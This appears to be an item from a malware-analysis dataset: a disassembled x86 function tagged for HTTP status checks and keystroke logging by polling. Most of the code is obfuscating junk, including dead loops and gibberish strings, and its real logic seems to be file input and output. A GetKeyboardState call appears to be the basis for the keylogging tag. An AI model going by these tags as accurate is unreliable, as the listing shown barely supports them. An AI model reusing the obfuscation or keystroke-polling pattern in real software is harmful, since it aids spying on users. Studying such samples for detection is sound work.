Function at 0x1001b973
Capabilities:
Check http status code
Log keystrokes via polling

Disassembly:
mov eax, 0x10060dfd
call fcn.1005fe44
sub esp, 0x710
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x220], edx
mov dword [ebp - 0x80], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], 0x9ac78948
mov dword [ebp - 0x20], 0x35e4
cmp dword [ebp - 0x20], 0x398a
jle 0x1001b9d4
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x1007bfb8
cdq
push edx
push eax
call fcn.1000dd80
inc edi
cmp edi, 0x2fe8
jl 0x1001b9b2
inc esi
cmp esi, 0x78dc
jl 0x1001b9b0
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], bl
je 0x1001b9e3
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 4], 1
cmp dword [ebp - 0x20], 0x3203
jge 0x1001ba1d
mov edx, str.pjlzob_walbxzz_ttspgseiv_nmvr_gkeuqyf_gkyhwub_qsfyhpa_igcc_qci_bzwyp_jhgvbr_nhcvijyn
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001ba1d
mov dword [ebp - 4], ebx
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], 0
je 0x1001ba39
push ecx
push ecx
xor dl, dl
mov ecx, 0x1f22
call fcn.1001ace7
pop ecx
pop ecx
mov dword [ebp - 0x1c4], ebx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
mov byte [ebp - 4], 3
mov dword [ebp - 0x30], 0xd19
cmp dword [ebp - 0x30], 0xef3
jle 0x1001bab2
push 0x17b0
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov ecx, edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x40], ebx
shl esi, cl
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x1007bfb8
cdq
push edx
push eax
call fcn.1000dd80
inc ebx
cmp ebx, 0x2a18
jl 0x1001ba7b
mov esi, dword [ebp - 0x20]
inc edi
push 0
pop ebx
cmp edi, 0x5bf
jl 0x1001ba71
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x6819
jl 0x1001ba6f
mov byte [ebp - 4], 4
cmp dword [ebp - 0x30], 0xc2f
jge 0x1001baec
mov edx, str.fmtyjktw_dkxz_bhhoidll_oavyz_ywgozkp
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001baec
mov dword [ebp - 4], 3
mov dword [ebp - 0x38], 0xde2bbef7
mov dword [ebp - 0x20], 0x1ba2
cmp dword [ebp - 0x20], 0x1c89
jle 0x1001bb30
mov esi, ebx
mov edi, ebx
mov ebx, 0x60a0
mov eax, edi
mov ecx, 0x1007bfb8
cdq
push edx
push eax
call fcn.1000dd80
add edi, esi
dec ebx
jne 0x1001bb13
inc esi
cmp esi, 0x70d5
jl 0x1001bb0c
mov dword [ebp - 0x14], ebx
jmp 0x1001bb43
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1001bb35
mov byte [ebp - 4], 6
cmp dword [ebp - 0x20], 0x1ab4
jge 0x1001bb83
mov edx, str.yyolhd_vknquabt_trivuo_zrodnjgh_yey
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001bb83
push 4
mov dword [ebp - 4], 3
pop esi
mov dword [ebp - 0x70], 0xfffffff3
jmp 0x1001bbe5
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x14], 0xd
jmp 0x1001bbcb
push 1
push 1
lea eax, [ebp - 0x61]
mov byte [ebp - 0x61], bl
push eax
push 0x6f9a
mov edx, 0x5a49
mov ecx, 0x5c8f
call fcn.1001ac9a
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x16
je 0x1001bba6
push ecx
push ecx
mov byte [ebp - 0x5a], bl
lea ecx, [ebp - 0x5a]
mov dl, 1
call fcn.1001ace7
dec dword [ebp - 0x70]
pop ecx
pop ecx
cmp dword [ebp - 0x70], 0xffffffee
jle 0x1001bb96
mov dword [ebp - 0x18], 0x78144ad7
mov eax, 0xd2eb2fc2
mov dword [ebp - 0x28], 0xedcc590f
mov ecx, 0xffff
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], 0x3923bfa4
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
cmp dword [ebp - 0x18], eax
jl 0x1001bc67
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, 0xcbaa
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x24], 0x1543f36f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x1001bc90
cmp dword [ebp - 0x28], ebx
je 0x1001bc90
xor eax, eax
inc eax
jmp 0x1001bc92
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x14]
sbb eax, eax
inc eax
cmp eax, 9
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x1ec]
cmp ecx, 0x672a
setge dl
xor ecx, ecx
sub edx, 0xe160
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x1f8]
jne 0x1001bce3
push 1
push 1
xor dl, dl
mov byte [ebp - 0x63], bl
lea ecx, [ebp - 0x63]
call fcn.1001b517
pop ecx
pop ecx
jmp 0x1001be1f
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x2a4]
push esi
call fcn.1000e06f
push ebx
push 1
lea eax, [ebp - 0x2a4]
mov byte [ebp - 4], 8
push 0x2bb4
push eax
mov edx, 0x6add
lea ecx, [ebp - 0x1b4]
call fcn.1001ac9a
add esp, 0x10
cmp dword [ebp - 0x14], ebx
je 0x1001bde8
push dword [ebp - 0x1b4]
movdqa xmm0, xmmword [0x1006e970]
lea eax, [ebp - 0x3b4]
push eax
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x20], 0x5443
push eax
push ebx
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x234], ebx
movdqu xmmword [ebp - 0x3c4], xmm0
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x22c], ebx
call fcn.10011607
cmp dword [ebp - 0x1f4], ebx
jne 0x1001bdb5
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], eax
jg 0x1001bd87
cmp dword [ebp - 0x24], ebx
je 0x1001bd87
xor ecx, ecx
inc ecx
jmp 0x1001bd89
mov ecx, ebx
mov eax, dword [ebp - 0x234]
mov eax, dword [eax]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff7
setne cl
imul eax, ecx, 0x2550
add eax, 0xa766
cmp dword [ebp - 0x28], eax
jne 0x1001bdb1
cmp dword [ebp - 0x24], ebx
jne 0x1001bdb5
mov edx, ebx
jmp 0x1001bdb8
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, edx
setg cl
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2a4]
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0x234]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], 1
call fcn.1000e145
jmp 0x1001be10
mov dword [ebp - 0x24], ebx
jmp 0x1001be0a
push 1
lea eax, [ebp - 0x62]
mov byte [ebp - 0x62], bl
push eax
push 1
mov dl, 1
mov ecx, 0x5835
call fcn.1001addc
add esp, 0xc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1001bded
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 3
call fcn.1000e145
push 4
pop eax
push 0x6f
mov byte [ebp - 0xbc], al
mov ecx, ebx
mov byte [ebp - 0xa8], al
pop eax
push 2
mov dword [ebp - 0xc0], 0x1087f0b
mov dword [ebp - 0xbb], 0x726060b
mov dword [ebp - 0xb7], 0x907032c
mov byte [ebp - 0xb3], 0x1c
mov byte [ebp - 0xb2], bl
mov dword [ebp - 0xb1], 0x5310a37
mov dword [ebp - 0xad], 0x2410c5f
mov byte [ebp - 0xa9], 0xf
mov byte [ebp - 0xa7], 0x74
mov byte [ebp - 0xa6], al
mov dword [ebp - 0xa5], 0x2017e32
mov word [ebp - 0x38e], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 0x18
jne 0x1001beb3
push 5
pop ecx
push 0x1b
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x1001bf07
movzx edx, byte [ebp + esi - 0xbf]
mov eax, esi
sub eax, ecx
push ebx
push 0x13d0
movzx eax, byte [ebp + eax - 0xc2]
movzx eax, word [ebp + eax*2 - 0x3a4]
mov ecx, eax
and eax, edx
or ecx, edx
lea edx, [ebp - 0x168]
sub ecx, eax
movzx eax, byte [ebp + esi - 0xc0]
push ecx
push 0x5f83
mov word [ebp + eax*2 - 0x3a4], cx
call fcn.1001b0f8
mov ecx, dword [ebp - 0x168]
add esp, 0x10
add esi, 2
cmp esi, 0x1f
jb 0x1001bea0
xor eax, eax
mov word [ebp - 0x38a], ax
mov dword [ebp - 0x28], 0x9c1464f1
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x38], 0x6ed9
mov dword [ebp - 0x30], 0x7617
cmp dword [ebp - 0x30], 0x7671
jle 0x1001bf85
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, esi
mov ebx, edi
mov edi, dword [ebp - 0x1c]
sar ebx, cl
mov eax, ebx
mov ecx, 0x1007bfb8
and eax, edi
cdq
push edx
push eax
call fcn.1000dd80
inc edi
cmp edi, 0x58f4
jl 0x1001bf50
mov edi, dword [ebp - 0x20]
inc esi
push 0
pop ebx
cmp esi, 0x7365
jl 0x1001bf44
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x337d
jl 0x1001bf42
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], eax
mov byte [ebp - 4], 9
cmp dword [ebp - 0x30], 0x7429
jge 0x1001bfda
mov edx, str.ecp_garhoqpv_sesmxmrc_tayvy_vioayxlh_fruyfi_ftlw_men_zilugdvja
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001bfda
mov dword [ebp - 4], 3
mov dword [ebp - 0x1c], 0x89a98e57
mov dword [ebp - 0x18], ebx
jmp 0x1001bffb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x58], 0xcadd635
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001bfed
mov dword [ebp - 0x1c], 0x1a03
cmp dword [ebp - 0x1c], 0x11b7
jge 0x1001c17b
push 0x1006b370
push str.input.txt
call fcn.100483bc
mov esi, eax
mov dword [ebp - 0x30], esi
pop ecx
pop ecx
test esi, esi
je 0x1001c17b
push 0x18c
lea eax, [ebp - 0x718]
mov dword [ebp - 0x71c], ebx
push ebx
push eax
call fcn.10047ae0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], ebx
push eax
push str._ld_n
push esi
call fcn.100480d1
mov eax, dword [ebp - 0x50]
xor ecx, ecx
push 4
pop edi
mul edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10042db4
mov esi, eax
xor ecx, ecx
mov eax, dword [ebp - 0x50]
mul edi
mov dword [ebp - 0x2c], esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10042db4
mov ecx, dword [ebp - 0x50]
add esp, 0x20
add ecx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x188], ebx
mov edi, eax
mov dword [ebp - 0x20], edi
test ecx, ecx
jle 0x1001c110
xor edi, edi
inc edi
sub esi, eax
mov dword [ebp - 0x40], esi
mov esi, eax
lea eax, [ebp - 0x188]
push eax
push 0x100689d0
push dword [ebp - 0x30]
call fcn.100480d1
mov eax, dword [ebp - 0x188]
add esp, 0xc
mov ecx, dword [ebp + eax*4 - 0x71c]
test ecx, ecx
jne 0x1001c0e2
mov dword [ebp + eax*4 - 0x71c], edi
jmp 0x1001c0fd
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x14]
mov dword [eax + esi], ecx
mov dword [esi], edi
add esi, 4
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x71c], ebx
mov eax, dword [ebp - 0x50]
inc edi
add eax, eax
lea ecx, [edi - 1]
cmp ecx, eax
jl 0x1001c0b1
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x20]
push dword [ebp - 0x30]
call fcn.1004854f
mov dword [esp], 0x1006b380
push str.output.txt
call fcn.100483bc
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp ecx, dword [ebp - 0x50]
jne 0x1001c164
cmp dword [ebp - 0x50], 0
mov dword [ebp - 0x1c], ebx
jle 0x1001c174
sub edi, esi
push dword [edi + esi]
push dword [esi]
push str._ld__ld_n
push eax
call fcn.100483d1
mov eax, dword [ebp - 0x18]
lea esi, [esi + 4]
add esp, 0x10
inc ebx
cmp ebx, dword [ebp - 0x50]
jl 0x1001c141
xor ebx, ebx
jmp 0x1001c171
push eax
push 0x1006b39c
call fcn.100481ee
pop ecx
pop ecx
mov eax, dword [ebp - 0x18]
push eax
call fcn.1004854f
pop ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001c191
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x364], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001c180
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
test eax, eax
jg 0x1001c1ad
cmp dword [ebp - 0x28], ebx
je 0x1001c1ad
xor edx, edx
inc edx
jmp 0x1001c1af
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0x4392f209
setg al
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
cmp eax, 0x7fd1e814
jle 0x1001c1f9
cmp dword [ebp - 0x58], ebx
jne 0x1001c1f9
mov ecx, ebx
jmp 0x1001c1fc
xor ecx, ecx
inc ecx
push 0xfffffffffffffffb
pop eax
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0x1282
cmp dword [ebp - 0x2c], 0x14b6
jle 0x1001c3ac
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 0x1739
cmp dword [ebp - 0x1c], 0x54b
jge 0x1001c36d
lea eax, [ebp - 0x35c]
mov dword [ebp - 0x198], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x194], ebx
push ecx
lea ecx, [ebp - 0x198]
movlpd qword [ebp - 0x35c], xmm0
mov dword [ebp - 0x190], ebx
call fcn.1001de9c
push 3
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x198]
pop esi
push edi
push str._lld
call fcn.1004773b
pop ecx
add edi, 8
pop ecx
dec esi
jne 0x1001c272
mov edx, dword [ebp - 0x194]
mov eax, edx
mov esi, dword [ebp - 0x198]
sub eax, esi
mov byte [ebp - 0x24c], bl
mov ecx, esi
push dword [ebp - 0x24c]
sar eax, 3
push eax
call fcn.1001e48e
mov edx, dword [esi + 0x14]
mov eax, edx
pop ecx
pop ecx
mov ecx, dword [esi + 0x10]
mov edi, ecx
sub edi, dword [esi]
sbb eax, dword [esi + 4]
mov dword [ebp - 0x14], eax
xor eax, eax
inc eax
sub edi, eax
mov dword [ebp - 0x1c], edi
sbb dword [ebp - 0x14], ebx
sub ecx, dword [esi + 8]
sbb edx, dword [esi + 0xc]
sub ecx, eax
sbb edx, ebx
cmp dword [ebp - 0x14], ebx
jl 0x1001c2e8
jg 0x1001c2e0
cmp edi, ebx
jbe 0x1001c2e8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], ebx
jmp 0x1001c2fc
xorps xmm0, xmm0
movlpd qword [ebp - 0x44], xmm0
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x30], esi
cmp edx, ebx
jl 0x1001c30a
jg 0x1001c306
cmp ecx, ebx
jbe 0x1001c30a
mov esi, ebx
jmp 0x1001c318
xorps xmm0, xmm0
movlpd qword [ebp - 0x44], xmm0
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
push edx
push ecx
push esi
push eax
call fcn.1004d360
push dword [ebp - 0x14]
mov edi, eax
mov esi, edx
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x30]
call fcn.1004d360
add edi, eax
adc esi, edx
push esi
push edi
push str._lld_n
call fcn.10047a23
mov byte [ebp - 4], 3
push dword [ebp - 0x198]
call fcn.10047bf9
mov eax, dword [ebp - 0x18]
add esp, 0x10
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
mov edi, eax
mov dword [ebp - 0x20], 0x1720
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007bfb8
cdq
push edx
push eax
call fcn.1000dd80
inc esi
cmp esi, 0x5c6b
jl 0x1001c378
dec edi
dec dword [ebp - 0x20]
jne 0x1001c376
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x746a
jl 0x1001c221
cmp dword [ebp - 0x28], ebx
je 0x1001c416
mov eax, dword [ebp - 0x54]
neg eax
jne 0x1001c3fb
cmp dword [ebp - 0x58], ebx
jne 0x1001c3c0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
xor edx, edx
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul ecx, eax, 0xffff
mov dword [ebp - 0x360], ecx
mov eax, dword [ebp - 0x58]
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setge dl
sub edx, eax
jne 0x1001c3eb
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jg 0x1001c3fb
mov edx, ebx
jmp 0x1001c3fe
xor edx, edx
inc edx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x24]
jge 0x1001c416
cmp dword [ebp - 0x24], ebx
je 0x1001c416
mov eax, ebx
jmp 0x1001c419
xor eax, eax
inc eax
mov edx, dword [ebp - 0x54]
xor ecx, ecx
imul edx, dword [ebp - 0x58]
imul edx, eax
mov eax, dword [ebp - 0x58]
cmp eax, edx
setne cl
mov dword [ebp - 0x58], ecx
cmp dword [ebp - 0x24], 1
jge 0x1001c440
cmp dword [ebp - 0x38], ebx
je 0x1001c440
xor edx, edx
inc edx
jmp 0x1001c442
mov edx, ebx
mov eax, dword [ebp - 0x2fc]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x2c], 0x112b
jge 0x1001c48c
mov edx, str.xhjod_bbpfmmch_knynd_xsyfcig_fehvdwwa_iitcl_fxqedo_uoj_tzz_bklk_mrjbyq
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001c48c
push 4
pop eax
mov dword [ebp - 4], 3
mov ecx, ebx
push 0x61
mov byte [ebp - 0xa0], al
mov byte [ebp - 0x96], al
pop eax
push 2
pop esi
push 0x15
mov word [ebp - 0x2ec], ax
pop eax
mov dword [ebp - 0x9f], 0x702035b
mov dword [ebp - 0x9b], 0x20d0606
mov byte [ebp - 0x97], 0x45
mov dword [ebp - 0x95], 0x1bf28211
mov dword [ebp - 0x91], 0xc054201
mov byte [ebp - 0x8d], bl
mov byte [ebp - 0x8c], 0xd
mov dword [ebp - 0x20], eax
cmp esi, 0xa
jne 0x1001c500
push 5
pop ecx
push 0xd
pop esi
jmp 0x1001c539
movzx edx, byte [ebp + esi - 0x9f]
mov eax, esi
sub eax, ecx
push 0x15
movzx eax, byte [ebp + eax - 0xa2]
movzx eax, word [ebp + eax*2 - 0x2f4]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa0]
mov word [ebp + eax*2 - 0x2f4], cx
mov ecx, ebx
pop eax
add esi, 2
cmp esi, eax
jb 0x1001c4f3
push ebx
xor eax, eax
mov dl, 1
push 0x350b
push 1
mov ecx, 0x7109
mov word [ebp - 0x2e4], ax
call fcn.1001addc
add esp, 0xc
mov dword [ebp - 0x32c], ebx
xor eax, eax
lea ecx, [ebp - 0x33c]
mov word [ebp - 0x33c], ax
lea eax, [ebp - 0x2f4]
push 7
pop esi
push eax
mov dword [ebp - 0x328], esi
call fcn.10019c41
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x37c]
xor eax, eax
mov dword [ebp - 0x368], esi
mov word [ebp - 0x37c], ax
lea eax, [ebp - 0x3a4]
push eax
mov dword [ebp - 0x36c], ebx
call fcn.10019c41
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0x444]
call fcn.1001a980
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x42c]
call fcn.1001a980
push ebx
push 1
lea ecx, [ebp - 0x37c]
call fcn.1000ea49
push ebx
push 1
lea ecx, [ebp - 0x33c]
call fcn.1000ea49
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x414]
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], ebx
push eax
lea eax, [ebp - 0x444]
mov dword [ebp - 0x1ac], ebx
push eax
push ebx
mov dword [ebp - 0x1a8], ebx
call fcn.1001e2bb
push fcn.1001aad3
push 1
push 0x30
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 0x11
push eax
call fcn.100477db
xor eax, eax
lea edi, [ebp - 0x3a4]
mov ecx, esi
rep stosd dword es:[edi], eax
mov dword [ebp - 0x250], 0x5425
inc eax
mov dword [ebp - 0x224], 0x21b07fb0
mov dword [ebp - 0x38], 0x1ac7eb23
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x21c], 4
push ecx
push 0x552e
push eax
lea eax, [ebp - 0x224]
mov ecx, 0x6a7
push eax
lea edx, [ebp - 0x250]
call fcn.1001b0a5
push 1
push ebx
push 0x6869
push 0x6f9e
lea edx, [ebp - 0x21c]
mov ecx, 0x7163
call fcn.1001ac9a
xor eax, eax
lea edi, [ebp - 0x2f4]
stosd dword es:[edi], eax
add esp, 0x20
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x2c], 0x4e75
cmp dword [ebp - 0x2c], 0x4f53
jle 0x1001c72b
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x1007bfb8
or eax, edi
cdq
push edx
push eax
call fcn.1000dd80
inc ebx
cmp ebx, 0x4349
jl 0x1001c6f8
inc esi
push 0
pop ebx
cmp esi, 0x37e5
jl 0x1001c6f5
inc edi
cmp edi, 0x7ac3
jl 0x1001c6f3
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x2c], 0x4b5c
jge 0x1001c76c
mov edx, str.ytn_jxb_ymwcsjvz_saazlu_wojxzjbz_ytuydcls_gbp_wfsqsv_rdjvwjq_tplx
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001c76c
push 2
pop edi
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x38], ebx
push edi
call fcn.1000e06f
push edi
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 0x14
call fcn.1000e06f
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x15
push eax
sub esp, 0xc
mov dword [ebp - 0x38], 0x362
lea eax, [ebp - 0x388]
mov ecx, 0x3796
push ebx
push eax
call fcn.1001b29d
add esp, 0x18
lea eax, [ebp - 0x2c8]
push eax
push ecx
push ecx
lea eax, [ebp - 0x218]
xor cl, cl
push 0x758b
push eax
call fcn.1001b7ff
add esp, 0x10
lea eax, [ebp - 0x2c8]
mov edx, 0xb6e
xor cl, cl
push eax
call fcn.1001b578
pop ecx
pop ecx
push 0x14a6
sub esp, 0xc
mov byte [ebp - 0x64], bl
lea ecx, [ebp - 0x64]
push 1
push 0x4b40
call fcn.1001b29d
add esp, 0x18
lea ecx, [ebp - 0x2c8]
call fcn.1000e145
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 0x11
call fcn.1000e145
push ecx
lea eax, [ebp + 8]
xor dl, dl
push eax
push 0x4597
lea ecx, [ebp - 0x1b0]
call fcn.1001b69e
mov dword [ebp - 0x18], 0x90ac204e
add esp, 0xc
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], 0xc65b
mov dword [ebp - 0x14], 0x6e3268dd
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0xffffffe7
cmp dword [ebp - 0x18], 0xfffffff5
je 0x1001c9c6
mov dword [ebp - 0x2c], 0x6d8
cmp dword [ebp - 0x2c], 0x9c4
jle 0x1001c8dc
push ebx
push ebx
push 0x1096
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
add eax, esi
lea ecx, [ebp - 0x4a4]
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001c8b0
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a4]
call fcn.1000e875
mov eax, dword [ebp - 0x14]
inc esi
cmp esi, 0x20fe
jl 0x1001c896
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x6008
jl 0x1001c894
mov dword [ebp - 0x24], 0x95e17ca0
cmp dword [ebp - 0x2c], 0x562
jge 0x1001c8f7
push str.egbmpic_hjm_txxxogkm_rhqxl_qrtctg_shv_ejvazjr
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x24], 0xc
jmp 0x1001c9b4
mov dword [ebp - 0x2c], 0x719d8726
mov dword [ebp - 0x30], 0x1fc80ae7
mov dword [ebp - 0x14], ebx
jmp 0x1001c935
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x23c], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1001c924
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x2cc9105f
setge al
xor edx, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
cmp edx, dword [ebp - 0x18]
jne 0x1001c981
cmp dword [ebp - 0x40], ebx
je 0x1001c981
xor eax, eax
inc eax
jmp 0x1001c983
mov eax, ebx
mov dword [ebp - 0x30], eax
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x23c]
setge cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
setge cl
mov dword [ebp - 0x14], ecx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe3
jle 0x1001c911
inc dword [ebp - 0x18]
jmp 0x1001c866
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x1d
jle 0x1001ca94
push 2
pop ecx
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x40], 0x3fa0
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x28], 0xc
jmp 0x1001ca6c
mov dword [ebp - 0x24], ebx
jmp 0x1001ca1b
